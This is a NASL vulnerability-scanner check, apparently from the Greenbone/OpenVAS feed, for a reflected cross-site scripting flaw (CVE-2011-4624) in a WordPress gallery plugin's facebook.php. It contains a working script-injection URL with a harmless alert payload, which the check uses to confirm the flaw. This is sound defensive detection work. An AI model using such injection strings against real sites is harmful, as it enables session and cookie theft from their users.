WordPress flash-album-gallery Plugin 'facebook.php' Cross Site Scripting Vulnerability

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103351");
  script_cve_id("CVE-2011-4624");
  script_version("2023-10-27T05:05:28+0000");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_name("WordPress flash-album-gallery Plugin 'facebook.php' Cross Site Scripting Vulnerability");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50861");

  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2011-12-01 12:09:09 +0100 (Thu, 01 Dec 2011)");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("wordpress/http/detected");

  script_tag(name:"summary", value:"flash-album-gallery plug-in for WordPress is prone to a cross-site-
  scripting vulnerability because it fails to sufficiently sanitize user-supplied data.");

  script_tag(name:"impact", value:"An attacker may leverage this issue to execute arbitrary script code
  in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker
  to steal cookie-based authentication credentials and launch other attacks.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the
  disclosure of this vulnerability. Likely none will be provided anymore. General solution options are to
  upgrade to a newer release, disable respective features, remove the product or replace the product by
  another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("misc_func.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

vt_strings = get_vt_strings();

url = string(dir, "/wp-content/plugins/flash-album-gallery/facebook.php?i=</script><script>alert(/", vt_strings["lowercase"], "/)</script>");
if(http_vuln_check(port:port, url:url, pattern:"</script><script>alert\(/" + vt_strings["lowercase"] + "/\)</script>", check_header:TRUE)) {
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);

}

exit(99);